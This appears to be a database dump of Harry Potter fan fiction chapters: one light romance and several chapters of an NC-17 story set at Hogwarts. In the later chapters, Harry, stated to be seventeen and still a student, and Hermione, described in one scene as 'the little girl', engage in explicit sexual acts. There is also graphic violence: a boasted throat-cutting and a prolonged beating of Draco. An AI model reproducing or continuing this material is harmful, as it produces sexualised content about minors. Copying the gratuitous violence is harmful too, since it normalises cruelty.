	(72, 2, '\n\n\n\n\n\nTitle: A Pair of Brown Eyes (2/2)<br>\nAuthor: Granger<br>\nAuthor Email: ali_granger@yahoo.com<br>\nCategory: Romance, Humour<br>\nKeywords: Harry, Hermione, Ron, The Three Broomsticks<br>\nSpoilers: All four books<br>\nRating: PG-13<br>\nSummary: Join Harry and Hermione for a pint of romance in the Three Broomsticks, with special appearances by the Dursleys, assorted Weasleys, and the Invisible Drunken Gryffipede...<br>\nPairings: H/H<br>\nAuthor\'s Note: This is just a bit of rambling fluff I wrote while stuck on the latest chapter of my ongoing fic, Blush. All music here is by The Pogues... &quot;Living in a World Without Her&quot; is the song performed in the pub. Schnoogles to everyone on the good ship HMS Pumpkin Pie, hope you enjoy! :)<br>\nDisclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n<br><br>\n* * * * *\n<br><br>\n<b>A Pair of Brown Eyes: Part II</b>\n<br><br>\n<i>&quot;and a rovin\', a rovin\', a rovin\' I\'ll go<br>\nfor a pair of brown eyes&quot;</i>\n<br><br>\n-- The Pogues\n<br><br>\n<br><br>\n\n&quot;Wingaaardium Leviosha!&quot;\n<br><br>\nHarry stumbled as his left foot flew violently off the ground and he nearly tumbled headfirst onto the packed dirt of the now-deserted High Street. He forced his foot back to earth and attempted to grab Ron\'s arm as they swayed in a huddled mass under the invisibility cloak. Ron had his wand out and was attempting to levitate any small object in their path, despite Hermione\'s giggling protests; Harry\'s foot had apparently been the most recent victim. \n<br><br>\n&quot;Stoppit, Ron, you git,&quot; Harry whispered as Hermione, on his other side, nearly pitched forward as well. Harry tightened his arm around her; she murmured gratefully and leaned heavily on his shoulder. It felt wonderful. Harry\'s heart flopped over twice. \n<br><br>\n&quot;Shorry Harry.&quot; Ron gave him a sheepish smile.\n<br><br>\n&quot;What\'s the holdup?&quot; hissed Fred, peering into the darkness. He was holding the back door of Honeyduke\'s open for them; he and George had finally decided to call it a night when Uncle Vernon\'s hair began to turn red and Petunia\'s face broke out in freckles.\n<br><br>\n&quot;Coming,&quot; whispered Harry. The street was swaying slightly; wait, that was Ron. He was crushed between Ron and Hermione under the cloak, an arm around each of them as they steered their way towards Honeydukes and the secret trap door back to Hogwarts. The three of them lurched forward like a monstrous six-legged reject from the pages of Fantastic Beasts and Where to Find Them. An Invisible Drunken Gryffipede. Harry bit his lip to keep from laughing.\n<br><br>\nThe Invisible Drunken Gryffipede crept quietly into the basement of Honeyduke\'s with no further incidents, however, and soon Fred, George, Harry, Ron, and Hermione were safely back in the dark underground passage. Once inside, Harry struggled to free them from the invisibility cloak while Hermione fumbled for her wand and whispered &quot;Lumos&quot; to light their path. Harry glanced at Hermione, whose face was lit by the golden glow from her wand; her bushy hair was tousled from the cloak, eyes sparkling as she looked back at him in the dim light.\n<br><br>\n&quot;Oof!&quot; \n<br><br>\nHarry swayed as Ron threw an arm around him once more.\n<br><br>\n&quot;No more cloak, Ron.&quot; Harry waved an arm vaguely at the passage as Fred and George vanished into the darkness ahead. &quot;Don\'t need it in here, anyway.&quot;\n<br><br>\n&quot;I know,&quot; said Ron with a blissful sigh. He fixed Harry with an earnest, unfocused gaze. &quot;I just... you\'re the best, Harry. Did I ever tell y\'that?&quot;\n<br><br>\nHarry looked sideways at Ron and grinned back.\n<br><br>\n&quot;Thanks, mate. You too.&quot;\n<br><br>\nHarry heard a loud sniff beside them. In a moment Hermione\'s arms were around them and they were all crushed together into a tight hug.\n<br><br>\n&quot;I love you both, you know that?&quot; she mumbled, her voice quivering.\n<br><br>\n&quot;Pshhhh,&quot; said Ron, hugging Hermione with one arm. &quot;Don\'t get all mushy on us, Hermione.&quot;\n<br><br>\n&quot;Oh, that\'s typical, Ron Weasley. You started it.&quot; Hermione tried to cuff Ron on the arm, but they were too awkwardly tangled together.\n<br><br>\nHarry gave Hermione a tight squeeze. He felt like his heart would explode with dizzy warmth and contentment. \n<br><br>\n&quot;Love you too,&quot; he murmured.\n<br><br>\nRon swayed and struggled feebly to free himself from the embrace.\n<br><br>\n&quot;See, I love you guys too,&quot; he slurred. &quot;That\'s why I don\'t want to be sick on you.&quot;\n<br><br>\nThere was a clumsy scuffle as the group hug quickly untangled itself.\n<br><br>\n&quot;Umm... Receptacus,&quot; stuttered Hermione, stepping back and waving her wand. What looked like a small classroom trash can appeared in the passage behind Ron, who bent down and grabbed it quickly.\n<br><br>\n&quot;What\'s going on back here -- ohhh,&quot; came George\'s voice from the passage ahead. &quot;Ron! You bloody lightweight.&quot; He strode over to Ron and patted his back as Ron made swift use of Hermione\'s trash can.\n<br><br>\n&quot;And you call yourself a Weasley,&quot; said Fred, on George\'s heels. He shook his head. &quot;Scratch that. Actually, this is what George did the first time we went to a post-Quidditch party. Guess you\'re related after all. C\'mon now Ron, up with you.&quot;\n<br><br>\nGeorge attempted to heave Ron to his feet, but Ron groaned in protest.\n<br><br>\n&quot;It\'s real nice right here,&quot; Ron insisted, attempting to curl up on the floor as George tried to force him upright. &quot;I like it just fine. Except the hall spins a bit much, y\'know?&quot;\n<br><br>\nRon reached for the trash can again and hugged it happily.\n<br><br>\n&quot;I don\'t think he\'s going anywhere,&quot; grinned Fred.\n<br><br>\n&quot;You two go on ahead, it\'s late,&quot; said George good-naturedly, waving Harry and Hermione down the hall. &quot;We\'ll take care of Mr.Wastebin here.&quot;\n<br><br>\n&quot;Uh... okay,&quot; said Harry. He draped an arm around Hermione again. There was no reason to do this, but somehow, it felt appropriate. &quot;You all right then, Ron?&quot;\n<br><br>\nHermione seemed to think it was appropriate as well, because she wrapped an arm around his waist in return. Harry became vaguely aware that his heart was performing an excellent interpretation of a leprechaun jig. He\'d have to sign it up as a mascot for the Irish National Quidditch Team when he had a chance.\n<br><br>\n&quot;You\'ll be okay, Ron?&quot; Hermione echoed.\n<br><br>\n&quot;Oh I\'m fine,&quot; came Ron\'s voice, echoing oddly in the trashcan. &quot;I\'ll catch up. Thanks for thish, Hermi\'nee.&quot;\n<br><br>\n&quot;He\'ll be good as new, we\'ve got some potions that\'ll fix him up back in our dormitory,&quot; winked Fred, leaning lazily against the wall.\n<br><br>\n&quot;See you in the common room,&quot; grinned George, patting Ron\'s back again.\n<br><br>\n&quot;Was a smashing night,&quot; said Harry, his head buzzing happily. Hermione waved over her shoulder to the Weasleys as they set off down the hall.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThey walked in silence for a few minutes, Harry\'s heart beating just a little too fast, the dark passage swimming before him, lit dimly with gold from the light of Hermione\'s wand.\n<br><br>\n&quot;So who\'s won then? Whoops,&quot; said Harry, steadying Hermione as she stumbled on the uneven floor of the passage.\n<br><br>\n&quot;Who\'s won what?&quot;\n<br><br>\n&quot;Well, I\'ve lost count of the number of pints I had. But I\'d wager I had more than you did.&quot;\n<br><br>\n&quot;I\'m not so sure,&quot; said Hermione defiantly, stumbling again. &quot;I had about... well... I had a few.&quot;\n<br><br>\nHarry laughed.\n<br><br>\n&quot;Harry, do you know,&quot; said Hermione suddenly, &quot;I\'m not sure what I would have done if I hadn\'t met you.&quot;\n<br><br>\n&quot;Oh, I dunno,&quot; said Harry. &quot;You probably wouldn\'t be breaking seven school rules in a secret hallway with some drunken git who has an invisibility cloak.&quot;\n<br><br>\nHermione laughed. They had reached the end of the passage; it sloped steeply upward to the opening in the hump of the one-eyed witch. \n<br><br>\n&quot;Exactly,&quot; she said softly.\n<br><br>\nHarry looked down at her. She was wearing her whip-smart Hermione grin, her eyes glinting with mirth, and that unreadable expression again.\n<br><br>\nHarry had a feeling he knew what that expression was now. He thought it might have something to do with the way his heart was beating. Hermione looked as if her own heart was doing something similar.\n<br><br>\n&quot;Well we\'d best put this on,&quot; he said, unfolding the invisibility cloak from under his arm and draping it around them; only their heads were visible now. &quot;Wouldn\'t want anyone to find out about how badly Ron and I have corrupted you.&quot;\n<br><br>\nHermione flushed, drawing the cloak around her shoulders. &quot;I\'m sorry I was nervous about coming out tonight.&quot;\n<br><br>\n&quot;That\'s all right,&quot; Harry said. Not quite believing he was doing it, he wrapped an arm around Hermione\'s waist again. A tiny voice in his brain was yelling things about how this could be a disaster and they were best friends and even though he\'d been wanting to do it forever he just couldn\'t do something like this, and and and...\n<br><br>\nBut Harry\'s heart was soaring. He\'d never felt so good in his entire life, and he knew it wasn\'t just the ale. The ale was definitely aiding his boldness, but he couldn\'t attribute his happiness to a few pints of Broomstick\'s Best. This felt right. Something that felt this right couldn\'t be wrong.\n<br><br>\n&quot;I just thought you deserved a little fun is all,&quot; he said softly. \n<br><br>\n&quot;It was wonderful,&quot; Hermione murmured.\n<br><br>\nHarry was dimly aware that something life-changing was about to happen, but he had silenced that tiny nervous voice in his head. He had surrendered to some great and inevitable force, more powerful than any spell he\'d felt. His senses were engulfed with Hermione, her face lit with gold from her wand, her arm twining around his waist under the invisibility cloak. She rested her head on his chest.\n<br><br>\nHarry put a hand gently on Hermione\'s wild curls and tipped her head to his. Hermione looked up at him.\n<br><br>\n&quot;Nox,&quot; Harry whispered.\n<br><br>\nThey were plunged into soft, gentle darkness just as their lips met.\n<br><br><br>\n\n\nDefinitely not just the ale, Harry thought. No ale could feel like... this.\n<br><br>\nThis was magic.\n<br><br>\n\n~ ~ ~ ~ ~\n\n\n\n<br><br>\n= the chapter has now ended =\n<br><br>\n\n\n'),
	(73, 1, 'Lazy Afternoons<p>\n\nDedicated to my 2 doggies, Moose and Hunter, who I like a lot because they are pretty.</p><p>\n\n\nDisclaimer: I do not own Harry Potter of the rights to Harry Potter. J.K. Rowling does, and she does not sit at her computer writing fanfiction. I do, however, and you will be forced to read whatever crap I dish out. I gain absolutely no, nada, zilch money from this work. I probably wont even gain credibility. I do not intend to infringe on any copyright set in place by Mrs. Rowling, herself, Bloomsbury books,  Scholastic, or any other title holder/publisher. Please do not sue me. Please do not bite me. Please do not cut off all my limbs and hang me from a tree. It wouldn\'t be pleasant.</p><p>\n\nChapter 1</p><p>\nThey lied warmly in the each other\'s arms, content that the only heat reverberated was that of their embrace and not the blanket that had long since been discarded, much like their clothing. The sheets on the bed were mangled and wrinkled in many places, alluding to what had taken place between the two not only today, but on numerous other occasions in this very room.</p><p>\n\nThe Head Boy room.</p><p>\n\nThe little girl held the decidedly larger boy\'s weight on top of her and was clad in only the very skin that God had given her. He, on the other hand, wore his boxers (with something under those boxers…), and slowly brought his hand up to the woman\'s left breast and began to rub it coarsely. </p><p>\n\nThe woman groaned but stayed still. She loved this game they played. He would try his very best to entice her to make the first move, and she would resist with all the willpower she could muster at that time, causing him to finally let lust overpower him.</p><p>\n\nToday, she didn\'t feel like waiting.</p><p>\n\nWith the man still rubbing away with his left hand, the right propping himself up, as to take away some weight from her body, the lady masterfully pulled her foot from under him, without detection, and hooked it into the waistband of the last thing separating the two.</p><p>\n\n"Nu uh," the boy said, sitting up, allowing her to fully appreciate his rippling arms and chest, "that can be your second birthday present from me. I think I\'ll give you it later tonight."</p><p>\n\nThe girl chuckled, "Oh Harry, I thought you\'d forgotten."</p><p>\n\n"But then you\'d have killed me, and we can\'t have that now, can we?"</p><p>\n\nIt still surprised her of how a man, no, still a mere boy could joke about death so easily, seeing that it used to be an unwelcome, yet constant visitor. But ever since last month, no, she didn\'t really want to think about that on her birthday, well, her birthday party for that matter (her birthday was last Thursday, but she is celebrating it on a Saturday, being a Hogsmeade weekend).  </p><p>\n\n"Well," she said slyly, "what\'s to stop you from giving me one of your special presents now, and one later?"</p><p>\n\nThe devilish glint that came into Harry\'s eye could\'ve been seen a mile away, were they outside in the streets (which would have been quite the predicament). He slowly and methodically inched his face toward hers, until only a few mere inches separated them, his face just above hers, and whispered sexily, "A fuck load of willpower," and with that he stood and began to dress himself.</p><p>\n\nThe woman remained sitting for a second, processing what she had just been told. With a slightly downtrodden expression and a sigh, she too rose to her feet and scavenged the area for some clothes, noting to herself to restock the small stash she kept in his room, which was, in itself, silly, seeing that they resided right next to each other. "You are very cruel, did you know that?" she finally asked him, in an accusatory tone.</p><p>\n\n"You mean you don\'t know? You don\'t know!" he said in a dramic flair. He then adopted an all too familiar accent, jumped onto a chair next to him, pulled his discarded cloak over his face, and practically shouted, "I am the great Severus Snape in disguise! Mere mortals such at you must grovel, grovel damn you. Why aren\'t you groveling!? And why the hell wont Bumblebee make me the Defense Against the Dark Arts teacher? And why is my penis only three inches long? And why do I make passionate love to Professor Flirtwick at exactly 7:30 each night? And what\'s with my hair? Did a fucking gorilla strap me to a table and sploog all over it?" He finally dropped the accent. "That was a lot more difficult than it seemed, honey."</p><p>\n\nThe room was silent.</p><p>\n\nHarry looked around for his girlfriend, but could see no one. "Hermione!" (A/N and finally we know who the girl is…as if we didn\'t already) he called out with some urgency. "Herm!" But still he heard nothing, no voice crying out, no frantic movement, and, thankfully, no howls of pain. </p><p>\n\nHarry hopped down from the chair he stood upon, and began to glance about the room in a hurried and obviously scared fashion. The bright lights in his room seemed to all dim, reminding him of the gloom of Azkaban, where he and ten of the top aurors in all of England assaulted, killing numerous death eaters and dementors alike. That was the first time Harry had killed anything human. Just thinking about that horrible winter night made him begin to hyperventilate. Short of breath, Harry fell to a knee and clenched his eyes, the attacker all but forgotten. He fought his way back up into the standing position, encouraged with the thought of Hermione in trouble on his mind.</p><p>\n\n"Petrificus Totalus!" A screech cried out from an unknown position in the room. Harry was able to stop the emotions currently taking hold within him, and, just in time, dove out of the spell\'s path and hid himself behind one of the large chairs that adorned his room. But right now he didn\'t have any time to admire the beauty that was the Head Boy lair; he was under attack and worse yet, he didn\'t know where Hermione had gotten off to! Harry, pulling forth what he learned from Alabastor and the three other aurors last summer at Gable Gulch, an isolated, former battlefield where he spent the summer before 7th year, Harry drew his wand, cleared his mind, and stopped himself from thinking about Hermione, seeing that doing so would only cause him to panic.</p><p>\n\n"Duplico Fererum," his whispered to himself, while pointing his wand toward his stomach. A small stream of yellow light seeped from the tip of his wand and permeated inside of him. About three seconds later, Harry\'s stomach began to rumble and moan, and an exact copy of Harry began to crawl head first out of his abdomen. Harry winced at the pain this was causing him, but a little pain for protection was certainly better than a painless death, he figured. Life was too good to die now, to die ever. </p><p>\n\nHarry had often mused about the thought of living forever with his friends and what would soon be his family. Though he knew it was wrong and could bring dire consequences about, he always had an egging feeling deep suppressed, a feeling- a hope, rather- to make another sorcerer\'s stone. Sure it was selfish, and he knew he wouldn\'t go through with it, but a guy can dream, can\'t he?</p><p>\n\nIf a guy could dream, he\'d better do it later, considering what could be a rogue death eater or crazed student somehow sneaked into his room- not the living quarters, not the common room, but his room, undetected. </p><p>\n\nThe duplicate or "second" Harry had finally emerged from Harry\'s stomach, and it seemed to not be an exact copy, rather it had the same shape and form as the Boy Who Lived, but, upon closer inspection, it could be seen through. Not as much as a ghost, but it could still be seen through none-the-less. </p><p>\n\n"Go onto my bead and try to draw the, the thing\'s attention," he told the Spectral Harry in a voice a commander would use, and it immediately complied to his wishes, walking from behind the chair and toward the well lit bed, where only moments before, he and Hermione were delving into a rather exciting escapade. On it\'s way to the bed, however, the assailant took the bait and blasted the faux Harry with yet another body-bind spell, sending him to the ground.</p><p>\n\n"Haha, Gotcha Harry," a playful voice Harry should have recognized, would have recognized if the adrenaline in his veins didn\'t overpower him, called out.</p><p>\n\nBut all nonviolent thought was discarded. Harry leapt from behind the chair he was currently using as shelter, perched on the hilt and roared out, "Stupefy!" Harry\'s voice seemed more like a grizzly bear than a kind 17-year-old boy, and the magnitude bounced off the walls.</p><p>\n\nThe spell spiraled toward a vastly confused Hermione, who was hunched over the spot where "Harry" had fallen to her body bind, then immediately disappeared. The Stupefy curse Harry just fired was barely visible to the naked eye due to the tremendously deadly swiftness it sped at. The curse connected with Hermione\'s right ribcage, knocking her unconscious on contact, and the sheer power of the spell tossed her like a rag doll into a sidewall, a good 25 feet away. The limp body of the most brilliant girl in school cascaded downward to the ground after leaving a good dent in the wall, bringing a brightly embroidered, yellow and gold Griffindor tapestry to the ground with her.</p><p>\n\nIn a panic, Harry sprinted toward the woman of his life, and, after a few minutes had passed, had healed her, woke her back up, and placed the tapestry back where it belonged. Of course he began to apologize for his stupidity.</p><p>\n\n"Sorry, sorry, sorry, sorry, sorry, I\'m so sorry, Herm. You scared the hell out of me, you know?" Harry continued to apologize to a rather shaken up Hermione.</p><p>\n\n"Harry," she placed her hand to his lips, "shut up." And with that he gave him a quick peck on the mouth, obviously meant to tease him. "Now are you happy that you took that magical healing course with Madam Pomfrey?</p><p>\n\n"Oh yes, being shrieked at by a damn fanatical hippo-like-woman for a double period sure did make my day, Herms, it sure did." Of all the teachers he loved at Hogwarts School of Witchcraft and Wizardry, there were only a few he…detested. Those being the overzealous potions master, whom Harry rescued after Death Eaters discovered that he had been spying on them, via the Polyjuice potion. Harry had to admit that his information on He-Who-Must-Not-Be-Named was invaluable, but the things that man said about his late parents could have lead other men to leave his sorry carcass to die. The second teacher Harry harbored ill will toward was the psychotic nurse, and also the so-called seer, who he hadn\'t had to put up with since early 6th year, when he walked out of her class once and for all when, through reading the stars, she announced how Harry and Hermione were "linked." No one in the school about that, save for a choice few Griffindors Harry trusted, before Trewlney spilled the beans.</p><p>\n\n Aside from those he hated, the Head Boy had even grown to accept the overbearing deputy headmistress, still adored Dumbledore, and felt a sort of unexplainable to the seemingly callous Defense teacher: Moody.</p><p>\n\n"Yes, I always do know what is best for you, don\'t I?" Hermione responded with a quip of her own.</p><p>\n\n"That\'s why I love you," Harry said a bit sarcastically, gaining a bit of a giggle from Hermione. He wrapped his arms around her back and pulled her forth, closing the space between them. He relished holding her in this manner; all his troubles seemed to just float away.</p><p>\n\n"And this is why I love you," she said grabbing a hold of the front of Harry\'s jeans, surprising him with her boldness. Harry jumped a bit backward out of shock, before recovering and looking at her pretty, no, beautiful face. On it there laid a horny smirk, the smirk only he ever got to see. Harry stopped himself from succumbing to her naughtiness and composed himself before she thought anything was wrong.</p><p>\n\n"Didn\'t think the Head Girl was so shallow," Harry smirked. Hermione scoffed.</p><p>\n\n"And you said you\'d never hurt me," she countered, but, after realizing what she had said, opened her mouth to make an apology. Harry talked first, however, and his words greatly relieved the anxiety-struck Hermione.</p><p>\n\n"Ahem, I didn\'t hurt you. The Stupefy curse knocks out its victims, mine just likes to throw them afterwards. So you never felt pain. Quit playing the sympathy card"!  He said in a joking manner.</p><p>\n\n\nShe replied with a McGonagall like yell, "Suck an egg, young Potter!"</p><p>\n\nIn the same tone, Harry replied, "Suck on it, young Granger!"</p><p>\n\n"Well, if you insist…" she replied as seductively as possible, which was surprisingly very seductive. Harry could feel himself harden from their closeness and the entire mood of the room, which had thankfully changed.</p><p>\n\n"Why are you so horny today?" he asked his one true love.</p><p>\n\nShe stared him in the eye, as if in disbelief (Which she probably was). "Why are you complaining?"</p><p>\n\nWere they under different circumstances, Harry would have taken her where she stood, without a second\'s hesitation, but, being her birthday, he wanted the day to be perfect. He couldn\'t ruin what he worked so hard to prepare for her.</p><p>\n\n"C\'mon Herms, move, move, move! Get yourself dressed and we\'ll go to the common room.</p><p>\n\nHermione smiled and realized that her Harry was absolutely horrible at staging a surprise party, but she\'d at least pretend to be surprised. His naivety and purity had to have been key reasons as to why she loved him so much. He rarely spoke bad about anyone (except Snape), he never hurt anyone purposefully (except once when Malfoy kept badgering her and Harry decided to play knight-in-shining-armor. It was surprisingly funny to see Mr. Holier-Than-Thou Draco begging for mercy on his knees) She also loved that man because of his unfaltering loyalty (he had even forgiven Ron after he came back from the war zone where the final battle against Voldemort and his Death Eaters took place. Ron had openly accused him of being a terrible friend, a liar, and a glory hog, but Harry, her Harry, just told him to not worry about it). Harry never really told her much about that fateful day where he killed Voldemort, Pettigrew, and a number of countless other Death Eaters, but she\'d often hear what had happened from his dreams and she didn\'t know how he coped. Most of all, however, she loved him because Harry loved her. Loved her for who she is, defends her from trouble, and even listens to her demanding cries of studying for the N.E.W.Ts rather than going out to Hogsmeade on a Sunday.</p><p>\n\nShe loved him because he was a kind, loving, sweet Harry Potter, not because he was the powerful, unflinching, legendary hero Harry Potter.</p><p>\n\nBut he still couldn\'t keep a surprise party secret!!!</p><p>\n\nHermione would soon realize she couldn\'t be more wrong.</p><p>\n\n\n\nLike it, love it, worship it??</p><p>\nReview it!!!</p><p>\n'),
	(73, 2, ''),
	(73, 3, '<div> <div class="center">Lazy Afternoons Chapter Three</div><p> I don\'t own Harry Potter</p><p> THIS IS A MATURE NC-17 story. If you are under 17 leave now. Please. This is something you don\'t need to see. There are mature themes expressed herein not intended for minors. Read at your risk.</p><p> Down the hallway and into the Common Room walked Harry Potter and Hermione Granger, hand in hand. And as Hermione gazed around the normally subdued room, she noticed it was… exactly the same as always.</p><p> “Hey!” she laughed at Harry.</p><p> “Aww, what did I do now?”</p><p> “Nothing, nothing,” she said, “though I do admit I was expecting a surprise waiting here.”</p><p> “Oh, I’m sorry-“</p><p> “No, no don’t be. I actually don’t mind a day to ourselves.”</p><p> “Neither do I,” he grinned.</p><p> Hermione smiled, knowing exactly what he meant. She was just as eager as he in all honesty. She gave Harry a peck on the lips. “So…where are you taking me?”</p><p> Ever since Voldemort’s demise, trips to Hogsmeade occurred just about every single weekend at Hogwarts. Students crammed the large train in the hopes of being the first seated at The Three Broomsticks or testing out the new George Weasley prank gift at Zonkos. There was always an air of jubilation and excitement. But Harry Potter, the twice savior of the wizarding community couldn’t easily walk a few steps before being hounded by the masses. </p><p> So he either completely changed his appearance or just apparated store to store to avoid any wandering eyes. Harry, in his combat training, had undergone just about everything a wizard needs to overcome any sort of situation, no matter what the odds. And one of the many abilities he had to learn was the complex art of apparation, and, being the masterful wizard he is, Harry easily exceeded his trainer’s expectations.</p><p> And although Harry thoroughly disliked having to “store hop”, or morph, it beat being caught, and he could always sit back in a nice, dark candlelight restaurant with Hermione and transform back to normal. </p><p> “Well,” Harry said as he and Hermione walked out of the Common Room, “I was thinking-“</p><p> “That’s a first.”</p><p> “Ohhh, original,” and it was good to see Hermione in a playful mood; she’d been all but devastated when news of the Final Battle leaked, and that coupled with the fact that millions died, including Ron and countless other close friends, Harry was surprised that Hermione could even put on a brave face. So Harry tried to make Hermione laugh as often as he could—partially to bring both himself and Hermione out of the rut, but also because he owed it to Ron to try and continue his smart-ass legacy.</p><p> “I was thinking we’d just beat the rush and arrive before the train even leaves.” Harry blurted a twinkle in his eye.</p><p> “And how, pray tell, will that happen?” Harry removed his wand from his side pocket and pointed it at Hermione. “Okay, a little scared, now” Hermione said.</p><p> Harry fired a bright white spell and Hermione transformed from the thin, chestnut haired head girl he loved so much and into a voluptuous blonde haired girl with a pair of skin tight jeans and a top that showed off a little more skin than she would have liked to. The jeans weren’t really skin tight; actually, they were more along the lines of bone-crushingly tight.</p><p> “No, I am not going like this, Harry,” Hermione said, matter-of-factly.</p><p> “Ah, come on, no one will know it’s you.” Harry pleaded, “Besides, you look so good.” A glare made Harry sputter. “Well that’s not to say that—I mean you do look good normally, but—not to say… I love you, sweetie,”</p><p> “Wow, what a smooth operator,” Hermione chuckled. “And I love you, of course,” she said, planting a kiss on his cheek.</p><p> By now the pair were somewhere in the vast expanse of hallways. Hermione spoke up, “What did you mean by ‘We’ll arrive before the train even leaves’?”</p><p> “In due time, my lady, in due time, let me get changed first.” He pointed his own wand at himself, but before he changed himself, he realized they were all alone. No one was around, just two very horny teenagers in a hallway all by themselves. Out of nowhere grabbed Hermione and pushed her into the corner of the hallway. “Actually, changing can wait,” Harry growled. “Pleasure before business, right?” and he began to wildly kiss Hermione’s neck.</p><p> “Hey, no! Stop Harry; this is like cheating on me,” Hermione moaned. “Harold J-James P-Potter… no Harry…” He cupped her left breast and she realized she might as well stop trying to resist him. The blonde Hermione moaned loudly and grabbed Harry’s hair as he assaulted her sweet neck before devouring her mouth.</p><p> The two nearly tore each other’s clothes off as they went at it. Harry pinned her to the dirty ground and began to unbutton her jeans. Hermione moved her hand to block him.</p><p> “Don’t worry Hermione, we wont get caught. Relax,” Harry said. Hermione moaned again as he undid the jeans, unzipped them, and discarded them on the floor. Hermione lied with her legs in Harry’s lap, clad only in a simple blue thong and her tiny shirt.</p><p> “Happy mother fucking birthday!” Harry yelled and ran his fingers up and down her crotch. She slightly arched her back and grinned. “I promise today is all about you, honey. Anything you want…” he slid his pointer finger inside her little pussy, “…you got.” Hermione was still tight seeing that Harry had just taken her virginity a few weeks before. </p><p> Unfortunately, their fun wouldn’t last long. Draco Malfoy had come down one of the moving staircases and heard Harry’s voice. So Draco picked up the pace and ran to confront his enemy.</p><p> “Potter, the hell are you doing here?” he demanded as he turned the corner. Unfortunately for Draco, the scene before him was one he’d never forget. A bubbly blonde was sitting in Harry’s lap with a look of horror on her face, staring back at Draco. Harry continued to probe the girl’s walls.</p><p> Harry did no want to face this today. “What does it look like I’m doing, douche bag?” he spat back, not stopping his fingering to even look up at Draco. Hermione shrieked and tried to somehow hide herself.</p><p> Audibly flustered, Draco was able to retort with his usual coolness, “Seems to me, Potter, you’re making advances on some random groupie. The mudblood not good enough for you?” Harry removed his finger from Hermione’s box, pulled his wand from his pocket, and waved it a few times, nullifying spell on Hermione. She turned back into the familiar Head Girl minus most the clothes.</p><p> Draco feared an attack when Harry drew his wand and grabbed for his own. He began to cast the disarming charm but he stopped dead in his tracks after seeing the blonde turn into Hermione, a woman he hated with a loathing more intense than the fire of 100 suns.</p><p> He lowered his wand, but kept it out,” Harry gritted his teeth. He looked over at Hermione. She was pissed. “Too ashamed of her are you? Have to hide her up if you go anywhere? She is an ugly broad; that’s obvious, but why not go for a more attractive girl, Potter? This is too much trouble for you, isn’t it? Though I will admit though, the muggle does have a nice set of tits. I never noticed that.”</p><p> “That’s enough Malfoy!” Harry yelled and raised his fist. But just before he charged Hermione grabbed his arm. Still in only a thong and shirt, Hermione tried to stop a problem before it started.</p><p> “Harry, don’t let him provoke you. Draco\'s just a shell of a man now. There’s no need to prove to him you can kill his sorry ass. Just let him say what he wants. He’s really not worth it.”</p><p> “Dammit mudblood, let the pussy come at me. Don’t listen to your bitch, Potter. You can think on your own.” </p><p> Harry just stood stoically for a few moments, drawing in deep breaths. He grabbed Hermione and pushed her into a nearby classroom. </p><p> “Draco, I no longer wish to join in your little games. I don’t care about that anymore,” Draco snorted. “I’m through.”</p><p> Draco smirked. “You’ve turned even softer, Potter. The mudblood (Harry closed his eyes) took whatever ounce of testosterone you had left from you. You’re just a pussy, Potter. N no good Griffindor pus—”</p><p> “You know he screamed?” Harry said coolly.</p><p> “What,” Draco asked.</p><p> “He screamed. He begged me not to kill him,” he said matter-of-factly.</p><p> “Oh what now?”</p><p> “The poor bastard didn’t know my wandless magic is every bit as potent as whatever I can get out of this little motherfucker right here,” he held up his wand. “Thought he had me cornered. He charged, wand out, started the incantation for the killing curse, but I just blasted the poor bastard in the chest. He met the wall. You ever see a man spit up blood, Draco? It’s can be a pretty sight.”</p><p> “What the hell are you blabbering about, Potter?” Draco seemed a little uncomfortable to Harry.</p><p> “I put my little switchblade to his neck as he lied there. He begged me not to kill him, said he was brainwashed by the dark lord. Well, I left my compassion at home that day.” Harry paused instinctively, as if building tension. “I cut the fuckers throat and watched him bleed.”</p><p> Draco just stared at him.</p><p> “That man was your father, Draco.”</p><p> Draco underwent a look of horror. He stuttered and struggled for both words and air.</p><p> “I must say I was ashamed, Draco. I thought Malfoys had a fighting spirit. Your old man didn’t even scratch me. Such a shame. And don’t get me started on the lackeys. They couldn’t fight to save—”</p><p> “Go to hell!” Draco sputtered before rushing Harry. Harry sidestepped and easily avoided Draco’s blow.</p><p> “Unless you somehow surpassed Voldemort‘s power overnight, I would advise against it,” Harry mocked.</p><p> Draco, breathing heavily, removed his wand. “Cru-“</p><p> Harry was on top of him immediately. He punched Draco in the nose, busting it open, and slammed his head against a wall. Draco slumped, unconscious, on the wall. Harry was livid. The bastard had tried to use an unforgivable,--in Hogwarts no less. He grabbed Draco by the jugular and lifted his sedated body off the ground.</p><p> “Reinnervate!” Harry yelled. Draco awoke, choking because of the death grip on his throat. A forearm to the jaw sent Draco hard against the cold, concrete wall. He managed to maintain consciousness despite an obviously broken jaw. A series of kicks to the face remedied this, however, and Draco Malfoy once again descended into unconsciousness. </p><p> Hermione saw everything from the classroom, which Harry had magically locked. She stood in both awe and horror for a few moments, before snapping back into reality and breaking the lock and running out of the classroom. “No, no Harry! No!” she screamed. Harry wasn’t listening. He revived Draco again, then smashed his face against the wall. Blood smeared with mucus to make a murky brown color on the wall.</p><p> Hermione, still in nothing but her skimpies, ran over to her discarded clothing and grabbed her wand. She pointed at Harry and fired a disarming curse. It Harry in the back, but nothing happened. He continued to beat Draco.</p><p> Still unconscious, Draco was flung across the ground. He slid for a few seconds before grinding to a halt. The last remaining Malfoy was bleeding heavily from multiple gashes in his skin, his jaw, his nose, his neck and espically from his forehead. Harry wasn’t done with him yet, but Hermione jumped on his back, grounding him back in reality.</p><p> “Harry no! It’s just not worth it. Don’t kill him please! Just stop,” she begged.</p><p> “He deserves it, Herm, but I won’t kill him. Calm down.” Harry aimed his wand at Draco and cast a healing spell. Draco stopped bleeding and went back to normal. Hermione was obviously relieved. Sure, she hated Draco, but she didn’t want him dead. This was a little too much to handle.</p><p> As Hermione went to grab her clothes, Harry crawled to Draco, who was still out cold. “You make sure you thank her. You thank her for your life when you come to, you sniveling bastard. I wasn’t going to show you any mercy here. If not for her… you’d be on a one-way ticket to the devil by now. You’re one lucky bastard. You hear me?” Harry began to twitch a little. He grabbed Draco by the throat again. “I swear, you dirty bastard. One more mudblood comment—one more weasel comment, and you’re dead. You are dead. And I swear it. Don’t let me hear it ever again.” He let go of Draco and strolled over to Hermione. She was finished dressing, but was staring at the ground.</p><p> “Hermione… dear…” He began helplessly. He knew he had fucked up. He shouldn’t have lost it like that but he just couldn’t take it 